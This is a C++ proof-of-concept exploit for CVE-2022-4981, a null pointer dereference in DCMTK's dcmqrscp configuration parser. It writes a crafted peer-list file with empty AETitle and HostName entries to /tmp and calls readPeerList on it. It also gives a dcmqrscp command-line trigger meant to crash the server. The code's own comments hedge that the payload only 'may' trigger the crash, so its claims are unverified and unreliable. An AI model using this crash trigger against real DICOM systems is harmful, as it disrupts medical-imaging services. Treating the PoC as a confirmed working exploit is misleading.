CVE-2022-4981 DCMTK dcmqrscp空指针解引用漏洞

// CVE-2022-4981 - DCMTK dcmqrscp Null Pointer Dereference PoC // This PoC demonstrates triggering a null pointer dereference in // DcmQueryRetrieveConfig::readPeerList function (/dcmqrcnf.cc) // // Prerequisites: // - DCMTK <= 3.6.7 installed // - Local access with low privileges // - Ability to modify or supply a malicious configuration file #include "dcmtk/dcmqr/dcmqrcnf.h" #include "dcmtk/dcmdata/dcfilefo.h" #include <iostream> #include <fstream> int main(int argc, char* argv[]) { // Step 1: Create a malicious peer list configuration file // The configuration file is crafted to trigger null pointer dereference // in DcmQueryRetrieveConfig::readPeerList() const char* malicious_config = "PeerList BEGIN\n" " MyPeer\n" " AETitle TEST_AE\n" " HostName 127.0.0.1\n" " Port 11112\n" " MyPeer2\n" " AETitle \n" // Empty AETitle may trigger null pointer path " HostName \n" // Empty HostName may trigger null pointer path " Port 0\n" "PeerList END\n"; // Step 2: Write the malicious configuration to a temp file const char* config_path = "/tmp/malicious_dcmqrscp.cfg"; std::ofstream config_file(config_path); if (!config_file.is_open()) { std::cerr << "[-] Failed to create config file" << std::endl; return 1; } config_file << malicious_config; config_file.close(); std::cout << "[*] Malicious config written to: " << config_path << std::endl; // Step 3: Initialize DcmQueryRetrieveConfig and trigger readPeerList DcmQueryRetrieveConfig config; // Step 4: Call readPeerList with the malicious configuration // This will trigger the null pointer dereference vulnerability OFCondition result = config.readPeerList(config_path); if (result.bad()) { std::cout << "[*] readPeerList returned error (may indicate crash path)" << std::endl; } // Step 5: Alternatively, use dcmqrscp command-line tool directly // Command: dcmqrscp -c /tmp/malicious_dcmqrscp.cfg // This will trigger the null pointer dereference when parsing peer entries return 0; } // Alternative trigger via command line: // 1. Create config file with malformed peer entries // 2. Run: dcmqrscp --config /tmp/malicious_dcmqrscp.cfg // 3. Observe segfault/null pointer dereference crash